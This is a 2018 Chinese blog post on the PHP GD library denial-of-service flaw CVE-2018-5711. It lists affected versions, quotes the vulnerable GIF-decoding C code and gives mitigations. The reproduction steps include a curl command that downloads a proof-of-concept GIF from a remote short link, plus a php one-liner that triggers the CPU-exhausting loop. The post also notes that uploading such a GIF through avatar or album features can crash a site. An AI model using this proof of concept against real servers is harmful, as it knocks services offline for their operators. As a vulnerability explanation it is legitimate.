亲测PHP GD库2018最新漏洞,可令CPU使用率瞬间飙升至100%,甚至宕掉一台服务器! 以及解决方案

华夏人才济济呀,前几天,台湾的黑客orange发现了一个漏洞,编号为 PHP CVE-2018-5711,这个漏洞能瞬间让支持php的服务器CPU使用率瞬间飙升至100%甚至是宕机,只要是使用GD库处理图像的站点基本上会中招。想到我也是使用PHP编程的,我用KALI 2017.3的虚拟机来演示一下。

 

一、PHP GD库漏洞所影响的PHP版本:

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

 

二、PHP GD库漏洞出现原因:

GD图形库中的 gd_gif_in.c 具有整数签名错误,通过特殊构造的GIF文件使程序在调用imagecreatefromgif或imagecreatefromstring的PHP函数时导致无限循环。

 

出现漏洞的文件为 ext/gd/libgd/gd_gif_in.c 中代码:

do {
                        sd->firstcode = sd->oldcode =
                        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
                } while (sd->firstcode == sd->clear_code);
static int
GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
{
        int           i, j, ret;
        unsigned char count;

        if (flag) {
                scd->curbit = 0;
                scd->lastbit = 0;
                scd->last_byte = 0;
                scd->done = FALSE;
                return 0;
        }

        if ( (scd->curbit + code_size) >= scd->lastbit) {
                if (scd->done) {
                        if (scd->curbit >= scd->lastbit) {
                                /* Oh well */
                        }
                        return -1;
                }
                scd->buf[0] = scd->buf[scd->last_byte-2];
                scd->buf[1] = scd->buf[scd->last_byte-1];

               if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
                        scd->done = TRUE;

                scd->last_byte = 2 + count;
                scd->curbit = (scd->curbit - scd->lastbit) + 16;
                scd->lastbit = (2+count)*8 ;
        }

        if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) {
                ret = -1;
        } else {
                ret = 0;
                for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
                        ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
                }
        }

        scd->curbit += code_size;
        return ret;
}

GetCode会调用GetDataBlock函数读取GIF图中的数据。

static int
GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
{
        unsigned char   count;

        if (! ReadOK(fd,&count,1)) {
                return -1;
        }

        *ZeroDataBlockP = count == 0;

        if ((count != 0) && (! ReadOK(fd, buf, count))) {
                return -1;
        }

        return count;
}

细心的人也许已经发现端倪了,其实是变量类型转换引起的。

当GetDataBlock返回值为-1时,第二段代码中的count值无法赋上该值,所有bug就出现了。

 

三、亲测 PHP GD库漏洞执行过程

我就用Vmware虚拟主机装的kali linux系统来做测试吧!

此测试仅用于实验,请勿用于其它途径!否则后果自负!

 

1、检测我的虚拟机是否装有php-gd库?

运行命令:

php -m | grep -i gd

检测我的虚拟机是否装有php-gd库

 

2、如果上图中没有出现gd,我们就需要装一下了。

运行命令:

apt-get install php-gd

如果上图中没有出现gd,我们就需要装一下了

 

3、生成恶意的gif文件。

运行命令:

curl -L https://git.io/vN0n4 | xxd -r > poc.gif

生成恶意的gif文件

由于我是用的kali linux又是root用户,默认“poc.gif”生成的位置是在“/root”目录下。

 

4、运行top命令看下我的CPU使用率。

运行命令:

top

运行top命令看下我的CPU使用率

 

5、测试PHP GD恶意代码

运行命令:

php -r 'imagecreatefromgif("poc.gif");'

测试PHP GD恶意代码

CPU瞬间上升到了百分百,我想再运行一下top命令来个CPU对比图都做不到了,不得不重启我的KALI。

 

6、如何利用这漏洞攻击网站?

攻击者在使用图像处理相关的功能(如头像,相册等)时,上传构造后的恶意GIF图片,可直接导致服务不可用,甚至导致服务器宕机。

 

四、PHP GD库漏洞解决方案

干货永远是给有耐心的人看的,解决方案其实也很简单,有以下几个途径:

1、升级PHP版本,这是PHP官方的提议;

2、升级PHP GD库,这个也需要官方去解决这个问题;目前我也不清楚GD库是否已升级解决此问题;

3、既然是上传图片GIF引起的,那么我程序设计不允许上传GIF的格式,其它的图片类型才可以上传;

4、其它建议请发在评论下方;

    A+
发布日期:2018年02月03日 12:39:54  所属分类:PHP资讯
最后更新时间:2019-03-24 10:20:00
付杰
  • ¥ 798.0元
  • 市场价:1298.0元
  • ¥ 15元
  • 市场价:15元
  • ¥ 199.0元
  • 市场价:179.0元
  • ¥ 49.9元
  • 市场价:99.9元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:2   其中:访客  0   博主  0

  1. 头像 飞溅 1

    php gd库死循环bug还真的存在,我已经按照博主的测试了,我操!

  2. 付杰 付杰

    相信大家都知道,我的博客也是用wordpress php做的,而且恰好我的PHP版本也在这个影响范围内,我PHP又不想升级,因为我的PHP是源码安装,如果我要升级,有点小麻烦。因此我做了两个步骤:
    1、只有作者及更高权限的用户才可以上传头像。
    2、后台媒体上传图片的时候不允许上传gif,请查看:WordPress“禁止用户上传特定类型文件”的解决方法